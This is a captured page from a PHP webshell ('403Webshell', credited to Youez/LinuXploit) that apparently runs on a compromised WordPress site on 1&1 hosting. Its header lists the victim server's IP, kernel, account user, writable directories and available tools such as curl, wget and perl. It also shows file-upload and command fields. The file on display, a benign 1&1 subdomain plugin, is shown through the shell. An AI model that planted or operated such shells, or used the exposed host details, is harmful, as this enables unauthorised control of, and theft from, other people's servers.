403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.156
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/45/d732875416/htdocs/clickandbuilds/MadeByBlue/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/45/d732875416/htdocs/clickandbuilds/MadeByBlue/wp-content/mu-plugins/1and1-subdomain.php
<?php
/**
 * Plugin Name: 1&1 Product Subdomain
 * Plugin URI: http://www.1and1.com/
 * Description: Handles product subdomain installs in accordance with search engines best practices.
 * Version: 1.1.0
 * Author: 1&1
 * Author URI: http://www.1and1.com/
 */

if ( ! defined( 'ABSPATH' ) ) {
	die();
}

class Product_Subdomains {

	public function __construct() {
		if ( ! is_admin() && isset( $_SERVER['SERVER_NAME'] ) ) {
			$this->load_hooks();
		}
	}

	public function load_hooks() {
		$domain = $this->get_main_domain( $_SERVER['SERVER_NAME'] );

		if ( in_array( $domain, $this->product_subdomains() ) ) {
			add_action( 'pre_option_blog_public', array( $this, 'make_blog_private' ), 1000 );
			add_action( 'default_option_rewrite_rules', array( $this, 'fix_robotstxt_rewrite' ) );
			add_action( 'option_rewrite_rules', array( $this, 'fix_robotstxt_rewrite' ) );
		}
	}

	public function make_blog_private() {
		return 0;
	}

	/**
	 * This makes robots.txt work for the default settings of permalinks
	 */
	public function fix_robotstxt_rewrite( $rewrite_rules ) {
		global $wp_rewrite;

		if ( ! empty( $wp_rewrite ) ) {
			if ( ! empty( $wp_rewrite->permalink_structure ) ) {
				return $rewrite_rules;
			}

			$wp_rewrite->rules = $rewrite_rules;

			if ( empty( $rewrite_rules ) ) {

				/** robots.txt -only if installed at the root */
				$home_path = parse_url( home_url() );

				return ( empty( $home_path['path'] ) || '/' == $home_path['path'] ) ? array( 'robots\.txt$' => $wp_rewrite->index . '?robots=1' ) : array();
			}
		}

		return $rewrite_rules;
	}


	private function get_main_domain( $domain ) {
		$domain_parts = explode( '.', $domain );
		$domain_parts = array_slice( $domain_parts, - 2 );
		$main_domain  = implode( '.', $domain_parts );

		return $main_domain;
	}

	private function product_subdomains() {
		return array(
			'apps-1and1.net',
			'apps-1and1.com'
		);
	}

}

new Product_Subdomains;

Youez - 2016 - github.com/yon3zu
LinuXploit